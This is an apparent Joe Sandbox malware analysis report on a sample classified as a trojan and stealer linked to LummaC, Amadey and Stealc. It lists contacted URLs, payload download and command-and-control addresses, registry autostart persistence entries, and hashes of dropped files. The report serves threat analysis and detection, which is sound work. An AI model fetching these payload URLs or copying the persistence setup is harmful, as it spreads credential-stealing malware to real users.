https://bugzilla.mo	firefox.exe, 00000026.00000002.3686044474.000001FC3006D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3658097048.000001FC2DC80000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://telegram.org/V	configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000026.00000002.3683368813.000001FC2FEAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3682799849.000001FC2FD0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 00000026.00000002.3351960809.000001FC295AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AEE000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.38.dr	false	URL Reputation: safe	unknown
http://185.215.113.16/well/random.exeof	skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 00000026.00000002.3351960809.000001FC295AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9AEE000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.38.dr	false		unknown
https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsAdd	firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://grabify.link/	configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ebay.comP	firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.com/account?=https://accounts.google.co	firefox.exe, 0000002A.00000002.3313127047.00000211D9B80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://exslt.org/strings	firefox.exe, 00000026.00000002.3329290402.000001FC1DD03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://185.215.113.16/test/num.exeemp	skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/policies/privacy/media.gmp-manager.cert.checkAttributesFailed	firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/apiicrosoft	b6ea789a1a.exe, 00000018.00000002.3314964247.0000000001385000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://csp.withgoogle.com/csp/gws/other-hp	configuredInstallerEXE.exe, 00000008.00000003.2911281703.00000272A10BC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911656054.00000272A10C5000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911489902.00000272A10BF000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1055000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	prefs-1.js.38.dr	false		unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yandex.com	firefox.exe, 00000026.00000002.3703163798.00001A8C37B04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	fc0b992f89.exe, 00000017.00000002.3156445874.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000017.00000003.3116101099.000000000572B000.00000004.00001000.00020000.00000000.sdmp, fc0b992f89.exe, 00000029.00000002.3306253227.0000000000CCC000.00000040.00000001.01000000.00000012.sdmp, fc0b992f89.exe, 00000029.00000003.3274962236.0000000004F5B000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/IPNP	b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000796000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152326455.0000000000796000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.inbox.lv/rfc2368/?value=%su	firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpJ	skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpG	skotes.exe, 00000007.00000002.3311124337.0000000001487000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
154.216.17.34	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
104.26.9.202	grabify.link	United States	13335	CLOUDFLARENETUS	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	grabify.org	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
149.154.167.99	telegram.org	United Kingdom	62041	TELEGRAMRU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545799
Start date and time:	2024-10-31 02:07:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@63/36@23/11
EGA Information:	Successful, ratio: 37.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe, PID 7120 because it is empty
Execution Graph export aborted for target configuredInstallerEXE.exe, PID 1684 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7112 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 1252 because there are no executed function
Execution Graph export aborted for target svchost.exe, PID 5484 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:08:22	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
02:09:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b6ea789a1a.exe C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe
02:09:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fc0b992f89.exe C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe
02:09:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9fee9e49cf.exe C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe
02:10:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b6ea789a1a.exe C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe
02:10:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fc0b992f89.exe C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe
02:10:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9fee9e49cf.exe C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe
21:07:58	API Interceptor	10x Sleep call for process: file.exe modified
21:09:01	API Interceptor	1189x Sleep call for process: skotes.exe modified
21:09:20	API Interceptor	701x Sleep call for process: svchost.exe modified
21:09:20	API Interceptor	20x Sleep call for process: powershell.exe modified
21:09:24	API Interceptor	1x Sleep call for process: configuredInstallerEXE.exe modified
21:09:36	API Interceptor	16x Sleep call for process: b6ea789a1a.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
104.26.9.202	IPrstVM17M.exe	Get hash	malicious	Unknown	Browse
	ztn2ByCTBW.hta	Get hash	malicious	Unknown	Browse
	xxkNTwMqKe.hta	Get hash	malicious	Unknown	Browse
	N1rZQYFxPb.hta	Get hash	malicious	Unknown	Browse
	x0cuT4GXiQ.hta	Get hash	malicious	Unknown	Browse
	G28nz6ukRd.hta	Get hash	malicious	Unknown	Browse
	XqESmKfu19.exe	Get hash	malicious	Unknown	Browse
	#Ud83d#Udcc3Remittance Advice.htm	Get hash	malicious	Unknown	Browse
	https://grabify.link/requirments.php?	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
grabify.org	file.exe	Get hash	malicious	Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.Siggen27.21664.27047.32071.exe	Get hash	malicious	Unknown	Browse	104.21.94.192
	SecuriteInfo.com.Trojan.Siggen27.21664.27047.32071.exe	Get hash	malicious	Unknown	Browse	104.21.94.192
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	172.67.168.159
necklacedmny.store	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
telegram.org	file.exe	Get hash	malicious	Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	PO 4500580954.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.31738.17793.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Factura Honorarios 2024-10.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	9RgE5uOJwX.exe	Get hash	malicious	XWorm	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
CLOUDFLARENETUS	file.exe	Get hash	malicious	Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	172.67.154.67
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	fileDoc_Commission Dept Ec.docx	Get hash	malicious	Unknown	Browse	188.114.96.3
	HLZwUhcJ28.exe	Get hash	malicious	LummaC	Browse	104.21.32.196
	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse	104.26.0.231
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	x86.elf	Get hash	malicious	Mirai	Browse	156.241.11.55
	arm7.elf	Get hash	malicious	Mirai	Browse	156.230.19.169
	zmap.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.20.164
	arm5.elf	Get hash	malicious	Unknown	Browse	154.216.20.58
	jew.spc.elf	Get hash	malicious	Mirai	Browse	156.254.70.156
	x86_64.elf	Get hash	malicious	Mirai	Browse	156.241.11.59
	mips.elf	Get hash	malicious	Unknown	Browse	154.216.20.58
	parm.elf	Get hash	malicious	Mirai	Browse	156.230.19.184
	tel.x86.elf	Get hash	malicious	Mirai	Browse	156.230.19.193
	zmap.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.20.164

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Xmrig	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99
	file.exe	Get hash	malicious	Unknown	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99
	HLZwUhcJ28.exe	Get hash	malicious	LummaC	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99
	file.exe	Get hash	malicious	LummaC	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99
	SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99
	file.exe	Get hash	malicious	LummaC	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.26.9.202 142.250.185.68 188.114.97.3 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Loader_seyhhd[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8296401660988232
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugi:gJjJGtpTq2yv1AuNZRY3diu8iBVqFg
MD5:	054552BA7B9497534D0934216B4931C3
SHA1:	26D10A361C838E331338A0B86AC97278D5F933AB
SHA-256:	0C70F95AF9135B74D5080F1B20190CE5CE195559D49A18B8BA83DC906B7CDAB9
SHA-512:	B3B245BE7F459B445303A4AA38B3BEDCAD40DC332C136BAF8CB4D834BF5C764E48E004FD538FD18F41E5F221F1289B0B9603C4287B5468FCBA810500D0BE272F
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xac08ffb8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585706449149932
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	96176CED996BC51D64ED4A5EAAC1E6BB
SHA1:	32D315788A472215C935C08185B4EAD0149E67A8
SHA-256:	F3F37D759C245AAD4E86191DD8D3702535137658EAEEA7C117DCC435F6050576
SHA-512:	D84DB091C6A5E35BB703F37907339C1AA21B274B01A854875BC10D2E844C964533A7760340437C25081A70AE5BB5F18E33B6E8A632897E9D6AF9244D6A3AE5EB
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{..;....\|..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.....................................d;....\|..................Z#.b;....\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08098662498636147
Encrypted:	false
SSDEEP:	3:Kwl8YepLr5ekGuAJkhvekl1hlillrekGltll/SPj:KfzpLr5trxl3IJe3l
MD5:	5CCD6AB15AE6828A02113F90B924F269
SHA1:	1D595AB2089F9740486445301533F3931001D134
SHA-256:	8956617EFAAE53F27253CD207FB83F54DCCE0844F3F99C82D270E6BFEF76ABAE
SHA-512:	1BFA4B9A1BF6B023B58B972B7A9A0A5393C7BC48E44440B31A4E9D2D6F7738B011BFBEE2FADDEF8EA0D0C90D16AB63D2458B68AB84C80EFB5D95D6D45576F0D7
Malicious:	false
Preview:	.........................................;...{..;....\|.......{...............{.......{...XL......{..................Z#.b;....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RYM16770HTK1NZSZ1PW5P28.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
